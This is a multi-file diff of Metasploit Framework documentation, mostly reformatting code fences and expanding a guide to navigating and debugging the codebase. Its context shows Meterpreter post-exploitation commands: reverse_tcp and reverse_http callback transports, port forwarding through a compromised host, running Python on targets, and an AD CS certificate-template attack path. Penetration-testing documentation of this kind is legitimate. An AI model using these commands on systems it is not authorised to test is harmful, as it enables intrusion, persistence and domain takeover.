[+] Successfully added reverse_http transport.
|
||||
@@ -127,7 +127,7 @@ It is also possible to specify the following:
|
||||
|
||||
The following shows another example which adds another `reverse_tcp` transport to the transport list:
|
||||
|
||||
```bash
|
||||
```msf
|
||||
meterpreter > transport add -t reverse_tcp -l 10.1.10.40 -p 5005
|
||||
[*] Adding new transport ...
|
||||
[+] Successfully added reverse_tcp transport.
|
||||
@@ -155,7 +155,7 @@ The three different ways to change transports are:
|
||||
|
||||
As an example, here is the current transport setup:
|
||||
|
||||
```bash
|
||||
```msf
|
||||
meterpreter > transport list
|
||||
Session Expiry : @ 2015-06-09 19:56:05
|
||||
|
||||
@@ -168,7 +168,7 @@ Session Expiry : @ 2015-06-09 19:56:05
|
||||
|
||||
Moving to the next transport:
|
||||
|
||||
```bash
|
||||
```msf
|
||||
meterpreter > transport next
|
||||
[*] Changing to next transport ...
|
||||
[+] Successfully changed to the next transport, killing current session.
|
||||
@@ -195,7 +195,7 @@ This output shows that we moved from the original `reverse_tcp` to the `reverse_
|
||||
|
||||
Moving to the next transport again takes the session to the second `reverse_tcp` listener:
|
||||
|
||||
```bash
|
||||
```msf
|
||||
meterpreter > transport next
|
||||
[*] Changing to next transport ...
|
||||
[+] Successfully changed to the next transport, killing current session.
|
||||
@@ -218,7 +218,7 @@ Session Expiry : @ 2015-06-09 19:56:06
|
||||
|
||||
From here, moving backward sends Meterpreter back to the `reverse_http` listener:
|
||||
|
||||
```bash
|
||||
```msf
|
||||
meterpreter > transport prev
|
||||
[*] Changing to previous transport ...
|
||||
|
||||
@@ -252,7 +252,7 @@ The command is similar to `add` in that it takes a subset of the parameters, and
|
||||
* `-p` - The `LPORT` value.
|
||||
* `-u` - This value is only required for `reverse_http/s` transports and needs to contain the URI of the transport in question. This is important because there might be multiple listeners on the same IP and port, so the URI is what differentiates each of the sessions.
|
||||
|
||||
```bash
|
||||
```msf
|
||||
[*] Starting interaction with 2...
|
||||
|
||||
meterpreter > transport list
|
||||
@@ -282,7 +282,7 @@ Previously, Meterpreter only had built-in resiliency in the `HTTP/S` payloads an
|
||||
|
||||
The following shows Metasploit being closed and leaving the existing `TCP` session running behind the scenes:
|
||||
|
||||
```bash
|
||||
```msf
|
||||
meterpreter > transport list
|
||||
Session Expiry : @ 2015-06-09 19:56:05
|
||||
|
||||
@@ -301,7 +301,7 @@ With Metasploit closed, the Meterpreter session has detected that the transport
|
||||
|
||||
The following output shows Metasploit being re-launched with the appropriate listeners, and the existing Meterpreter instance establishing a session automatically:
|
||||
|
||||
```bash
|
||||
```msf
|
||||
./msfconsole -r ~/msf.rc
|
||||
[*] Starting the Metasploit Framework console...|
|
||||
IIIIII dTb.dTb _.---._
|
||||
|
||||
@@ -49,7 +49,7 @@ If you go to `metasploit-framework/documentation/modules`, you'll see that there
|
||||
|
||||
For example:
|
||||
|
||||
```
|
||||
```msf
|
||||
msf> use auxiliary/scanner/smb/smb_login
|
||||
msf (smb_login)> info
|
||||
|
||||
|
||||
+121
-10
@@ -1,9 +1,9 @@
|
||||
# Overview
|
||||
One of the most important things to learn when first working with Metasploit is how to navigate Metasploit's codebase. However, its often not immediately clear how this should be done. This page aims to explain some of the different approaches that one can take when navigating Metasploit's codebase and provides a primer for learning how Metasploit's codebase is structured.
|
||||
|
||||
A quick reminder before we get started, but one can always access the Metasploit Slack at <https://metasploit.slack.com/>. Normally this page should allow you to sign up, however if for any reason you cannot, feel free to shoot an email to msfdev *at* rapid7 *dot* com and we will be happy to send you an invite link.
|
||||
|
||||
Metasploit Code Structure
|
||||
------------------------
|
||||
# Metasploit Code Structure
|
||||
A great outline of Metasploit's code structure can be found at <https://www.offensive-security.com/metasploit-unleashed/metasploit-architecture/>, which should be referred to for an overview of Metasploit's code structure. To repeat what is said there there are the following main subdirectories:
|
||||
|
||||
* **data** - Our general data storage area. Used to store wordlists for use by modules, binaries that are used by exploits, images, and more.
|
||||
@@ -23,25 +23,136 @@ A great outline of Metasploit's code structure can be found at <https://www.offe
|
||||
* **scripts** - Stores various scripts used within Metasploit, such as Meterpreter, and scripts for the console interface of Metasploit Framework.
|
||||
* **spec** - Contains various RSpec checks that are used to ensure libraries and core functionality within the framework are working as expected. If you are writing a new library or adjusting one, you may need to update the corresponding RSpec file within this directory to ensure the specification checks are updated to reflect the new behavior.
|
||||
* **test** - Contains tests for various parts of Metasploit code to ensure they are operating as expected.
|
||||
* **tools** - Contains various tools that may be helpful under different situations. The `dev` directory contains tools useful during development, such as `tools/dev/msftidy_docs.rb` which helps ensure your documentation is in line with standards.
|
||||
* **tools** - Contains various tools that may be helpful under different situations. The `dev` directory contains tools useful during development, such as `tools/dev/msftidy_docs.rb` which helps ensure your documentation is in line with standards.~~
|
||||
|
||||
# Code Navigation Tools
|
||||
|
||||
GitHub Code Navigation
|
||||
------------------------
|
||||
## GitHub Code Navigation
|
||||
You can search through the code of Metasploit using GitHub with searches such as <https://github.com/rapid7/metasploit-framework/search?l=Ruby&q=%22payload.arch%22&type=code>. Note that double quotes are required to match specifically on a certain term; in the previous example this term was `payload.arch`. You can also set the `type=code` parameter to specifically match only on code results, however this can be set to `commits` or `issues` if you want to search commits or issues instead. Finally notice that when searching code, its important to also specify the language of the files you want to match. In the case above I made it so that my results would only match on files deemed by GitHub to contain Ruby code, however you can also specify other languages such as Batch, or C if you want those languages instead. You can even remove the language restriction if you find your search results are too narrow.
|
||||
|
||||
Another incredibly useful feature of GitHub is the ability to search across all repositories that an organization owns. This is especially useful in Metasploit as certain components, such as Rex code and payload code, may be contained in repositories other than `metasploit-framework`. To search across the public repositories that Rapid7 owns, use a search such as <https://github.com/search?q=org%3Arapid7+%22payload.arch%22&type=code>. Note the presence of the `org:rapid7` tag within the previous URL: this tells GitHub to look through all repositories that Rapid7 owns for the term `payload.arch` within any code files.
|
||||
|
||||
Experiment with these results and play around with GitHub searches more. Over time you will learn where it is useful and where it has its limitations and will be able to determine when it might be better to use an IDE to help understand a piece of code more.
|
||||
|
||||
IDE Code Navigation
|
||||
------------------------
|
||||
## SolarGraph Code Navigation
|
||||
A better way to navigate code, particularly across repos, and also find out where things are defined using an easy to use interface, is SourceGraph from
|
||||
<https://sourcegraph.com>. The interface is not hard to use and you can find several tutorials over at <https://docs.sourcegraph.com/tutorials> on how to use it.
|
||||
|
||||
The main benefit of SourceGraph over GitHub is the ability to search all known repositories at once and then easily jump between definitions using either the
|
||||
online search at <https://sourcegraph.com/search>, or the GitHub integrated browser plugin from <https://docs.sourcegraph.com/integration/browser_extension> to allow
|
||||
easy navigation of Metasploit and Rapid7 code from your GitHub PR reviews.
|
||||
|
||||
It is also recommended to review the tutorials and better understand some of the advanced search capabilities of SourceGraph as they do provide some useful search
|
||||
functionality that is not available or may be harder to perform with GitHub.
|
||||
|
||||
# IDE Code Navigation
|
||||
|
||||
## RubyMine Code Navigation
|
||||
One of the best ways to navigate the codebase within Metasploit is to use RubyMine, available from <https://www.jetbrains.com/ruby/>. Whilst it is a paid tool, it offers a variety of neat referencing finding features such as the ability to right click on a method name and select `Find Usages`, or to right click the method name and select `Go To -> Declaration or Usages` to find all the locations where that method might of been defined within the codebase, which can make tracing complex definitions that wind between library and module code much easier. RubyMine also offers autocompletion and integrates well with many tools such as Git to allow you to quickly switch branches and RuboCop to help provide suggestions on where your code style could be improved.
|
||||
|
||||
For a cheaper option one can also use VS Code. Note however that VS Code does not have the best autotab completion and will not allow you to trace references, however if your willing to put up with this, it is a much faster and more lightweight product than RubyMine, which makes it great for those times when you just need to edit a piece of code without loading a bunch of related files that you don't need to reference or edit. It also has great regex search features that work much faster than RubyMine, allowing you to search for items within the codebase a lot quicker than you can with RubyMine, which will often seem to stutter at times due to its larger overhead.
|
||||
|
||||
Ultimately though the tool that you pick should be up to you. Some may prefer to work with vim/nano/emacs or some other command line editor over a GUI interface. Use whatever you can afford and feels comfortable to you!
|
||||
|
||||
Pry Debugging
|
||||
------------------------
|
||||
Occasionally, simply reading through Metasploit code may not be helpful. You need to actually get into the weeds and learn what a piece of code is doing. In these cases, it may be helpful to use `pry`, a Ruby Debugger that can be launched at a specific place within your code and which allows you to view the state of the program at that time, make adjustments as needed, and then either step through the program or continue to let it run. A full tutorial on Pry will not be provided here, instead readers are encouraged to read up on the various guides on Pry available online, such as <https://learn.co/lessons/debugging-with-pry>
|
||||
## SolarGraph Code Navigation - VSCode
|
||||
We'd be remiss to not mention SolarGraph as a potential plugin that one can use to navigate code within VSCode. This tool
|
||||
provides a lot of the autocomplete and IntelliSense functionality you might get from dedicated IDEs such as RubyMine, within
|
||||
VSCode itself. The tool can be installed by running `gem install solargraph-rails` for the Rails integrations, which will
|
||||
also in turn install `solargraph` itself. If you just want SolarGraph without the Rails integrations, run `gem install solargraph`.
|
||||
|
||||
The configuration file for SolarGraph itself can be found at `.solargraph.yml` within the root directory of Metasploit Framework.
|
||||
For more information on how this works and how to tweak it, please refer to <https://solargraph.org/guides/configuration>.
|
||||
|
||||
Once the Gem files have been installed, the next step is to install the VSCode plugin. You can grab it from
|
||||
<https://marketplace.visualstudio.com/items?itemName=castwide.solargraph>. Once this is done, run the following commands
|
||||
to ensure that SolarGraph is using the most up to date information about your code:
|
||||
|
||||
```
|
||||
bundle install # Update all the gems
|
||||
yard gems # Create documentation files for all the gems. SolarGraph relies on YARD for a lot of info.
|
||||
yard doc -c # Create YARD docs for all files and use the cache so we don't repeat work (-c option).
|
||||
solargraph bundle # Update Solargraph documentation for bundled gems
|
||||
```
|
||||
|
||||
Then close down VSCode and restart it again, opening up the `metasploit-framework` directory again as a project if needs be.
|
||||
This should result in the SolarGraph server starting and then taking a few minutes to index your files. Note that this
|
||||
process may occur every time you open up the `metasploit-framework` project. This is normal and to be expected.
|
||||
|
||||
If you'd like to save yourself some time, you can have YARD automatically generate new documentation for installed Gems
|
||||
by running `yard config --gem-install-yri` which will configure YARD to automatically generate documentation whenever
|
||||
new Gems are installed.
|
||||
|
||||
# Debugging Metasploit
|
||||
|
||||
## Pry Debugging
|
||||
Occasionally, simply reading through Metasploit code may not be helpful. You need to actually get into the weeds and learn
|
||||
what a piece of code is doing. In these cases, it may be helpful to use `pry`, a Ruby Debugger that can be launched at
|
||||
a specific place within your code and which allows you to view the state of the program at that time,
|
||||
make adjustments as needed, and then either step through the program or continue to let it run.
|
||||
|
||||
You can enter into an interactive debugging environment using `pry` by adding the following code
|
||||
snippet within your Metasploit module or library method:
|
||||
|
||||
```ruby
|
||||
require 'pry'; binding.pry
|
||||
```
|
||||
|
||||
Pry includes inbuilt commands for code navigation:
|
||||
|
||||
- `backtrace`: Show the current call stack
|
||||
- `up` / `down`: Navigate the call stack
|
||||
- `step`: Move forward by a single execution step
|
||||
- `next`: Move forward by a single line
|
||||
- `whereami`: Show the current breakpoint location again
|
||||
- `help`: View all of the available commands and options
|
||||
|
||||
Ruby's runtime introspection can be used to view the available methods, classes, and variables within the current Ruby environment:
|
||||
|
||||
- `self`: To find out what the current object is
|
||||
- `self.methods`: Find all available methods
|
||||
- `self.methods.grep /send/`: Searching for a particular method that you're interested in. This can be great to explore unknown APIs.
|
||||
- `self.method(:connect).source_location`: Find out which file, and which line, defined a particular method
|
||||
- `self.class.ancestors`: For complex modules, this can be useful to see what mixins a Metasploit module is currently using
|
||||
|
||||
To learn more about Pry, we recommend reading GitLab's guide at <https://docs.gitlab.com/ee/development/pry_debugging.html>.
|
||||
|
||||
## Debug.gem Debugging
|
||||
Ruby 3.1 and later come with `debug.gem` installed automatically, which is the new default debugger for Ruby. It replaces
|
||||
the old `lib/debug.rb` library that was not actively being maintained and replaces it with a modern debugging library
|
||||
capable of performing many debugging actions with next to no impact on the performance of the debugged application.
|
||||
|
||||
Whilst RubyMine does not support the `debug.gem` functionality, you can use VSCode to take advantage of `debug.gem`
|
||||
to get speedy debugging of Ruby scripts from within VSCode itself. Simply install the debugging plugin
|
||||
from <https://marketplace.visualstudio.com/items?itemName=KoichiSasada.vscode-rdbg>, then go to the Metasploit root directory,
|
||||
and if you have Bundler installed, run `bundle install`. This will bring in the latest version of the `debug` gem.
|
||||
|
||||
Once this is all done, open the `metasploit-framework` folder from a cloned GitHub copy of Metasploit Framework in VSCode
|
||||
by using `File->Open Folder`. Then click `Run->Add Configuration->Ruby(rdbg)`. This will create a file at
|
||||
`<metasploit root>/.vscode/launch.json`. Replace the contents of this file with the contents of the file at
|
||||
<https://github.com/rapid7/metasploit-framework/blob/master/external/vscode/launch.json>. If you wish, you can
|
||||
optionally change the listening port from `55634` in the script to one of your choice.
|
||||
|
||||
Finally click `Run->Start Debugging` to start debugging Metasploit Framework using VSCode. This may cause a prompt to
|
||||
appear that looks like `bundle exec ruby /home/tekwizz123/git/metasploit-framework/msfconsole`. Confirm this looks okay
|
||||
and that you are using `bundle exec ruby` to execute `msfconsole`. If all looks good, hit the `ENTER` key to confirm.
|
||||
At this point you should see Metasploit Framework open up.
|
||||
|
||||
If you want to prevent this prompt in the future then simply remove the `"askParameters": true,` line from `launch.json`.
|
||||
|
||||
Once in a debugging session, debug.gem supports the same commands as Pry in may cases, so the commands listed in the
|
||||
Pry section above should work in the same manner. Additionally debug.gem also supports extra commands for things such as
|
||||
tracing data. For more details refer to the command list at <https://github.com/ruby/debug#debug-command-on-the-debug-console>
|
||||
which provides a detailed list of debug.gem's supported commands. For more information on the VSCode rdbg plugin,
|
||||
refer to <https://code.visualstudio.com/docs/languages/ruby> and <https://marketplace.visualstudio.com/items?itemName=KoichiSasada.vscode-rdbg>.
|
||||
|
||||
## RubyMine Debugging
|
||||
RubyMine comes with its own built in debugger that is based off of the old `lib/debug.rb` library in Ruby, however it
|
||||
has custom patches and modifications applied to it by the JetBrains team. To set it up, first clone the Git repository
|
||||
for Metasploit-Framework locally, then go `File->Open` and click on the `metasploit-framework` folder to open it as a project.
|
||||
|
||||
Once this is done, go to `Run->Edit Configurations` and click the plus sign to add a new configuration. Select
|
||||
`Ruby`, and in the name field, enter a name that makes sense for you, such as `Metasploit Debug`. Under `Ruby Script`,
|
||||
enter the full path to `msfconsole` on your local machine. Finally, set the SDK to either `Use Project SDK` or select
|
||||
another Ruby SDK that RubyMine recognizes.
|
||||
|
||||
You can add a Ruby SDK by going to `File->Settings->Languages and Frameworks->Ruby SDK and Gems` and clicking the plus sign.
|
||||
@@ -4,7 +4,7 @@ Installers are built nightly for macOS, Windows (64-bit) and Linux. These insta
|
||||
|
||||
The following script invocation will import the Rapid7 signing key and setup the package for supported Linux and macOS systems:
|
||||
|
||||
```
|
||||
```sh
|
||||
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
|
||||
chmod 755 msfinstall && \
|
||||
./msfinstall
|
||||
@@ -33,7 +33,7 @@ If you downloaded Metasploit from us, there is no cause for alarm. We pride our
|
||||
### Windows silent installation
|
||||
|
||||
The PowerShell below will download and install the framework, and is suitable for automated Windows deployments. Note that, the installer will be downloaded to `$DownloadLocation` and won't be deleted after the script has run.
|
||||
```
|
||||
```powershell
|
||||
[CmdletBinding()]
|
||||
Param(
|
||||
$DownloadURL = "https://windows.metasploit.com/metasploitframework-latest.msi",
|
||||
|
||||
@@ -290,7 +290,7 @@ Active sessions
|
||||
#### Local Port Forwarding
|
||||
To set up a port forward using Metasploit, use the `portfwd` command within a supported session's console such as the Meterpreter console. Using `portfwd -h` will bring up a help menu similar to the following:
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > portfwd -h
|
||||
Usage: portfwd [-h] [add | delete | list | flush] [args]
|
||||
|
||||
@@ -309,7 +309,7 @@ meterpreter >
|
||||
|
||||
To add a port forward, use `portfwd add` and specify the `-l`, `-p` and `-r` options at a minimum to specify the local port to listen on, the report port to connect to, and the target host to connect to respectively.
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > portfwd add -l 1090 -p 443 -r 169.254.37.128
|
||||
[*] Local TCP relay created: :1090 <-> 169.254.37.128:443
|
||||
meterpreter >
|
||||
@@ -338,7 +338,7 @@ Note that you may need to edit your `/etc/hosts` file to map IP addresses to giv
|
||||
#### Listing Port Forwards and Removing Entries
|
||||
Can list port forwards using the `portfwd list` command. To delete all port forwards use `portfwd flush`. Alternatively to selectively delete local port forwarding entries, use `portfwd delete -l <local port>`.
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > portfwd delete -l 1090
|
||||
[*] Successfully stopped TCP relay on 0.0.0.0:1090
|
||||
meterpreter > portfwd list
|
||||
@@ -355,7 +355,7 @@ To set up a reverse port forward, use `portfwd add -R` within a supported sessio
|
||||
|
||||
For example to listen on port 9093 on a target session and have it forward all traffic to the Metasploit machine at 172.20.97.72 on port 9093 we could execute `portfwd add -R -l 4444 -L 172.20.97.73 -p 9093` as shown below, which would then cause the machine who have a session on to start listening on port 9093 for incoming connections.
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > portfwd add -R -l 4444 -L 172.20.97.73 -p 9093
|
||||
[*] Local TCP relay created: 172.20.97.73:4444 <-> :9093
|
||||
meterpreter > netstat -a
|
||||
@@ -446,7 +446,7 @@ socks5 127.0.0.1 1080
|
||||
|
||||
The final final should look something like this:
|
||||
|
||||
```
|
||||
```ini
|
||||
# proxychains.conf VER 3.1
|
||||
#
|
||||
# HTTP, SOCKS4, SOCKS5 tunneling proxifier with DNS.
|
||||
|
||||
@@ -11,12 +11,12 @@ Unfortunately, at this point in time the extension only works inside x86 and x64
|
||||
# Usage
|
||||
|
||||
As with any other extension that comes with Meterpreter, loading it is very simple:
|
||||
```
|
||||
```msf
|
||||
meterpreter > use python
|
||||
Loading extension python...success.
|
||||
```
|
||||
Once loaded, the help system shows the commands that come with the extension:
|
||||
```
|
||||
```msf
|
||||
meterpreter > help
|
||||
|
||||
... snip ...
|
||||
@@ -36,7 +36,7 @@ Each of these commands is discussed in detail below.
|
||||
## python_execute
|
||||
|
||||
The `python_execute` command is the simplest of all commands that come with the extension, and provides the means to run single-shot lines of Python code, much in the same way that the normal Python interpreter functions from the command-line when using the `-c` switch. The full help for the command is as follows:
|
||||
```
|
||||
```msf
|
||||
meterpreter > python_execute -h
|
||||
Usage: python_execute <python code> [-r result var name]
|
||||
|
||||
@@ -50,13 +50,13 @@ OPTIONS:
|
||||
-r <opt> Name of the variable containing the result (optional)
|
||||
```
|
||||
A very simple example of this command is shown below:
|
||||
```
|
||||
```msf
|
||||
meterpreter > python_execute "print 'Hi, from Meterpreter!'"
|
||||
[+] Content written to stdout:
|
||||
Hi, from Meterpreter!
|
||||
```
|
||||
Notice that any output that is written to stdout is captured by Meterpreter and returned to Metasploit so that it's visible to the user. This also happens for anything written to stderr, as shown below:
|
||||
```
|
||||
```msf
|
||||
meterpreter > python_execute "x = x + 1"
|
||||
[-] Content written to stderr:
|
||||
Traceback (most recent call last):
|
||||
@@ -66,25 +66,25 @@ NameError: name 'x' is not defined
|
||||
This handy feature now only allows users to see the output of their scripts, but it also means that any errors are completely visible too.
|
||||
|
||||
A more interesting example can be seen below:
|
||||
```
|
||||
```msf
|
||||
meterpreter > python_execute "x = [y for y in range(0, 20) if y % 5 == 0]"
|
||||
[+] Command executed without returning a result
|
||||
```
|
||||
The command above executes, but nothing was printed to stdout, or to stderr, and hence nothing was captured.
|
||||
|
||||
The good thing is that the Python extension is persistant across calls. This means that after the above command is executed, `x` is still present in the interpreter and can be accessed with another call:
|
||||
```
|
||||
```msf
|
||||
meterpreter > python_execute "print x"
|
||||
[+] Content written to stdout:
|
||||
[0, 5, 10, 15]
|
||||
```
|
||||
As useful as this is, developers may want to produce post-modules that make use of the data that a Python script has generated. Parsing stdout is not ideal in such a scenario, and hence this command provides the means for individual variables to be extracted directly using the `-r` paramter, as described by the help:
|
||||
```
|
||||
```msf
|
||||
meterpreter > python_execute "x = [y for y in range(0, 20) if y % 5 == 0]" -r x
|
||||
[+] x = [0, 5, 10, 15]
|
||||
```
|
||||
Note that this command requires the first parameter to be a string that contains code that needs to be executed. However, this string can be blank, resulting in no code being executed. This means that extraction of content generated in previous calls is still possible without executing more code, or rerunning previous code snippets just to make use of the `-r` parameter:
|
||||
```
|
||||
```msf
|
||||
meterpreter > python_execute "" -r x
|
||||
[+] x = [0, 5, 10, 15]
|
||||
```
|
||||
@@ -95,7 +95,7 @@ Sometimes, single-line execution isn't enough, or is cumbersome. The `python_imp
|
||||
## python_import
|
||||
|
||||
This command allows for whole modules to be loaded from the attacker's machine an uploaded to the target interpreter. The full help is shown below:
|
||||
```
|
||||
```msf
|
||||
meterpreter > python_import -h
|
||||
Usage: python_import <-f file path> [-n mod name] [-r result var name]
|
||||
|
||||
@@ -114,8 +114,8 @@ OPTIONS:
|
||||
Importing of module trees is still considered a _beta_ feature, but we encourage you to use it where possible and keep us informed of any issues you may face.
|
||||
|
||||
Consider the following script:
|
||||
```
|
||||
$ cat /tmp/drives.py
|
||||
```python
|
||||
# $ cat /tmp/drives.py
|
||||
import string
|
||||
from ctypes import windll
|
||||
|
||||
@@ -133,7 +133,7 @@ result = get_drives()
|
||||
print result
|
||||
```
|
||||
The aim of this is to determine all the local logical drives and put the letters into a list. From there it prints that list to screen. The result of running the script is as follows:
|
||||
```
|
||||
```msf
|
||||
meterpreter > python_import -f /tmp/drives.py
|
||||
[*] Importing /tmp/drives.py ...
|
||||
[+] Content written to stdout:
|
||||
@@ -146,7 +146,7 @@ This command is also intended to allow for recursive loading of modules from the
|
||||
## python_reset
|
||||
|
||||
It may get to a point where the content of the interpreter needs to be flushed. The `python_reset` command clears out all imports, libraries and global variables:
|
||||
```
|
||||
```msf
|
||||
meterpreter > python_execute "x = 100"
|
||||
[+] Command executed without returning a result
|
||||
meterpreter > python_execute "print x"
|
||||
@@ -244,7 +244,7 @@ It is not possible to delete transports using the python extension as this opens
|
||||
|
||||
### Bindings example
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > getuid
|
||||
Server username: WIN-TV01I7GG7JK\oj
|
||||
meterpreter > python_execute "import meterpreter.user; print meterpreter.user.getuid()"
|
||||
|
||||
@@ -8,18 +8,18 @@ Clone a new metasploit-framework.git repository:
|
||||
|
||||
Go there and check out every remote branch we've got. That way, if you screw up and delete something important, you can add it back in later from this backup clone.
|
||||
|
||||
````
|
||||
```
|
||||
todb@presto:~/github/todb-r7$ cd msf-backup.git
|
||||
`todb@presto:~/github/todb-r7/metasploit-framework$ for b in `git branch -r | grep -v "HEAD -> origin" | sed 's/^ origin\///'`; do git checkout -b $b --track origin/$b; done
|
||||
````
|
||||
```
|
||||
|
||||
Tarball it out of the way.
|
||||
|
||||
````
|
||||
```
|
||||
todb@presto:~/github/todb-r7$ cd ..
|
||||
todb@presto:~/github$ tar zxvf msf-backup.git.tar.gz
|
||||
todb@presto:~/github$ rm -rf msf-backup.git
|
||||
````
|
||||
```
|
||||
|
||||
# Make a new clone
|
||||
|
||||
@@ -35,10 +35,10 @@ First, wipe out anything that responds to prune. Usually that's not a lot.
|
||||
|
||||
Next, take a look at what's already merged and what's not. We can drop most of the merged stuff right away.
|
||||
|
||||
````
|
||||
```
|
||||
mazikeen:./msf-prune$ git branch -r --merged
|
||||
mazikeen:./msf-prune$ git branch -r --no-merged
|
||||
````
|
||||
```
|
||||
|
||||
That gives a pretty good idea of how many branches we're talking about.
|
||||
|
||||
@@ -46,21 +46,21 @@ That gives a pretty good idea of how many branches we're talking about.
|
||||
|
||||
Here's a one-liner, lightly modified from http://stackoverflow.com/questions/2514172/listing-each-branch-and-its-last-revisions-date-in-git#2514279 which lists all remote **merged** branches in date order.
|
||||
|
||||
````
|
||||
```
|
||||
mazikeen:./msf-prune$ for k in `git branch -r --merged |grep -v "HEAD ->" | sed s/^..//`; do echo -e `git log -1 --pretty=format:"%Cgreen%ci %Cblue%cr%Creset" $k --`\\t"$k";done | sort
|
||||
````
|
||||
```
|
||||
|
||||
Count off how many you want to keep at the end, do the arithmetic, and tack on another couple pipes to catch everything that's more than two weeks old. These are the merged branches that nobody's likely to miss.
|
||||
|
||||
`````
|
||||
```
|
||||
mazikeen:./msf-prune$ for k in `git branch -r --merged |grep -v "HEAD ->" | sed s/^..//`; do echo -e `git log -1 --pretty=format:"%Cgreen%ci %Cblue%cr%Creset" $k --`\\t"$k";done | sort | head -45 | sed "s/^.*origin\///" > /tmp/merged_to_delete.txt
|
||||
````
|
||||
```
|
||||
|
||||
Pull the trigger:
|
||||
|
||||
````
|
||||
```
|
||||
mazikeen:./msf-prune$ for b in `cat /tmp/merged_to_delete.txt`; do echo Deleting $b && git push origin :$b; done
|
||||
````
|
||||
```
|
||||
|
||||
Note that we still have our tarball, so if we need to reinstate any of these branches, just need to re-push.
|
||||
|
||||
|
||||
@@ -31,14 +31,14 @@ You can inspect exactly what commits are contained in this merge with the follow
|
||||
|
||||
Like so:
|
||||
|
||||
````
|
||||
```
|
||||
$ git log bad-merge...bad-merge~ --oneline
|
||||
3996557 Fix conflcit lib/msf/util/exe.rb
|
||||
6296c4f Merge pull request #9 from tabassassin/retab/pr/2320
|
||||
d0a3ea6 Retab changes for PR #2320
|
||||
bff7d0e Merge for retab
|
||||
4c9e6a8 Default to exe-small
|
||||
````
|
||||
```
|
||||
|
||||
The syntax is a little wacky, but this is saying, "Show me all the commit hashes that occur from the `bad-merge` point to one back from `bad-merge` (in other words, from right before `bad-merge` was merged). That's what the tilde (~) means. You could also use `bad-merge^` or `bad-merge^1`, they're all equivalent.
|
||||
|
||||
|
||||
@@ -4,9 +4,9 @@ If you're in the business of writing or collecting Metasploit modules that aren'
|
||||
|
||||
You must first set up a directory structure that fits with Metasploit's expectations of path names. What this typically means is that you should first create an "exploits" directory structure, like so:
|
||||
|
||||
````bash
|
||||
```bash
|
||||
mkdir -p $HOME/.msf4/modules/exploits
|
||||
````
|
||||
```
|
||||
|
||||
If you are using `auxiliary` or `post` modules, or are writing `payloads` you'll want to `mkdir` those as well.
|
||||
|
||||
@@ -14,9 +14,9 @@ If you are using `auxiliary` or `post` modules, or are writing `payloads` you'll
|
||||
|
||||
Modules are sorted by (somewhat arbitrary) categories. These can be anything you like; I usually use `test` or `private`, but if you are developing a module with an eye toward providing it to the main Metasploit distribution, you will want to mirror the real module path. For example:
|
||||
|
||||
````bash
|
||||
```bash
|
||||
mkdir -p $HOME/.msf4/modules/exploits/windows/fileformat
|
||||
````
|
||||
```
|
||||
|
||||
... if you are developing a file format exploit for Windows.
|
||||
|
||||
@@ -36,7 +36,7 @@ For full details:
|
||||
|
||||
If you already have msfconsole running, use a `reload_all` command to pick up your new modules. If not, just start msfconsole and they'll be picked up automatically. If you'd like to test with something generic, I have a module posted up as a gist, here: <https://gist.github.com/todb-r7/5935519>, so let's give it a shot:
|
||||
|
||||
````bash
|
||||
```bash
|
||||
mkdir -p $HOME/.msf4/modules/exploits/test
|
||||
curl -Lo ~/.msf4/modules/exploits/test/test_module.rb https://gist.github.com/todb-r7/5935519/raw/17f7e40ab9054051c1f7e0655c6f8c8a1787d4f5/test_module.rb
|
||||
todb@ubuntu:~$ mkdir -p $HOME/.msf4/modules/exploits/test
|
||||
@@ -44,7 +44,7 @@ todb@ubuntu:~$ curl -Lo ~/.msf4/modules/exploits/test/test_module.rb https://gis
|
||||
% Total % Received % Xferd Average Speed Time Time Time Current
|
||||
Dload Upload Total Spent Left Speed
|
||||
100 1140 0 1140 0 0 3607 0 --:--:-- --:--:-- --:--:-- 7808
|
||||
````
|
||||
```
|
||||
|
||||
Then, in my msfconsole window:
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
SQL Injection library support was added in 2020 by @red0xff during the Google Summer of Code.
|
||||
SQL Injection library support was added in 2020 by [@red0xff](https://github.com/red0xff) during the Google Summer of Code.
|
||||
|
||||
## Supported Databases
|
||||
|
||||
|
||||
@@ -2,7 +2,6 @@
|
||||
|
||||
Depending on your skill level - if you have no experience with Metasploit, the following resources may be a better starting point:
|
||||
|
||||
* <https://tryhackme.com/room/rpmetasploit>
|
||||
* <http://www.offensive-security.com/metasploit-unleashed/Main_Page>
|
||||
* <https://metasploit.help.rapid7.com/docs/>
|
||||
* <https://www.kali.org/docs/tools/starting-metasploit-framework-in-kali/>
|
||||
|
||||
+270
-72
@@ -2,7 +2,7 @@
|
||||
Follow the instructions [[here|./ad-certificates/overview.md]] to set up an AD CS server
|
||||
for testing purposes.
|
||||
|
||||
## Introduction to AD CS Vulnerabilities
|
||||
# Introduction to AD CS Vulnerabilities
|
||||
```mermaid
|
||||
flowchart TD
|
||||
escexp[Find vulnerable certificate templates\nvia ldap_esc_vulnerable_cert_finder] --> icpr[Issue certificates via icpr_cert]
|
||||
@@ -13,9 +13,10 @@ flowchart TD
|
||||
users[Request certificates on behalf of other users] --> ESC3{{ESC3}}
|
||||
ESC2{{ESC2}} -- Via PKINIT --> pkinit[Authenticate to Kerberos]
|
||||
ESC3{{ESC3}} -- Via PKINIT --> pkinit[Authenticate to Kerberos]
|
||||
ad_cs_template[Reconfigure certificates via ad_cs_cert_template] -- Exploit configuration --> icpr
|
||||
```
|
||||
|
||||
The chart above showcases how one can go about attacking three common AD CS
|
||||
The chart above showcases how one can go about attacking four common AD CS
|
||||
vulnerabilities, taking advantage of various flaws in how certificate templates are
|
||||
configured on an Active Directory Certificate Server.
|
||||
|
||||
@@ -27,20 +28,24 @@ and finally using these certificates to authenticate to the domain as the domain
|
||||
administrator via Kerberos.
|
||||
|
||||
Each certificate template vulnerability that will be discussed here has a ESC code, such
|
||||
as ESC1, ESC2, or ESC3. These ESC codes are taken from the original whitepaper that
|
||||
as ESC1, ESC2. These ESC codes are taken from the original whitepaper that
|
||||
SpecterOps published which popularized these certificate template attacks, known as
|
||||
[Certified
|
||||
